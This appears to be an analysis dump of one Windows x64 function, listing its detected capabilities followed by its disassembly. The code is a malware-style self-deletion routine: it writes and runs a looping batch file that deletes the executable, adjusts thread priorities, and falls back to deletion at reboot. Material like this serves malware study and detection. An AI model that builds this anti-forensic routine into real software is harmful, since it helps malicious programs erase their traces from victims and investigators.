Function at 0x200004060
Capabilities:
Create process on windows
Move file
Resume thread
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x990
mov rbx, rcx
lea rcx, [rsp + 0xe1]
xor esi, esi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xe0], sil
call fcn.20000d940
lea rcx, [rsp + 0x1f1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x1f0], sil
call fcn.20000d940
test rbx, rbx
je 0x2000040f0
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x2000040f0
lea rcx, [rsp + 0x1f0]
sub rcx, rbx
nop word [rax + rax]
movzx eax, byte [rbx]
inc rbx
mov byte [rcx + rbx - 1], al
test al, al
jne 0x2000040e0
jmp 0x200004106
lea rdx, [rsp + 0x1f0]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x20001bd24]
lea rcx, [rsp + 0xe0]
call section..text
lea rcx, [rsp + 0xe0]
call fcn.200002ad0
lea rdx, [0x20001bcd0]
lea rcx, [rsp + 0xe0]
test eax, eax
mov edi, esi
mov ebx, 1
cmovne edi, ebx
call section..text
lea rcx, [rsp + 0xe0]
call fcn.200002ad0
lea rdx, [0x20001bec8]
lea rcx, [rsp + 0xe0]
test eax, eax
cmovne edi, ebx
call section..text
lea rcx, [rsp + 0xe0]
call fcn.200002ad0
test eax, eax
jne 0x200004429
test edi, edi
jne 0x200004429
lea r8d, [rbx + 0x7e]
lea rcx, [rsp + 0x411]
xor edx, edx
call fcn.20000d940
lea r10, [0x200000000]
lea rdx, [rsp + 0x410]
mov rax, qword [r10 + 0x17c68]
mov r8d, esi
mov rdi, rsi
mov qword [rdx], rax
movzx eax, word [r10 + 0x17c70]
mov word [rdx + 8], ax
movzx eax, byte [r10 + 0x17c72]
mov byte [rdx + 0xa], al
nop word [rax + rax]
movzx r9d, byte [rdi + r10 + 0x17f50]
mov eax, 0x66666667
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0x410]
cmp r9b, cl
je 0x200004220
xor cl, r9b
mov byte [rsp + rdi + 0xe0], cl
jmp 0x200004228
mov byte [rsp + rdi + 0xe0], r9b
inc rdi
inc r8d
cmp rdi, 0x11
jl 0x2000041e0
movsxd rax, r8d
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x490]
mov byte [rsp + rax + 0xe0], sil
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x490]
mov edx, 0x5c
call fcn.200008954
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x300]
mov byte [rax], sil
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x200017f2c]
lea rcx, [rsp + 0x300]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x300]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x300]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x8000080
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x20000441f
lea rax, [rsp + 0x300]
lea r9, [rsp + 0x1f0]
lea r8, [rsp + 0x1f0]
lea rdx, str.:abcd_r_nDEl____s__r_nif__ExIst___s__goto_abcd_r_ndEL____s__r_n
lea rcx, [rsp + 0x5a0]
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r9, [rsp + 0x9a0]
lea rdx, [rsp + 0x5a0]
mov rcx, rdi
mov r8d, eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.20000d940
lea rax, [rsp + 0x50]
lea rdx, [rsp + 0x300]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], ebx
mov word [rsp + 0xb0], si
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x20000441f
mov rcx, qword [rsp + 0x58]
mov edx, 0xfffffff1
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edx, recv
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x20000443d
xor edx, edx
lea rcx, [rsp + 0x1f0]
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea r11, [rsp + 0x990]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret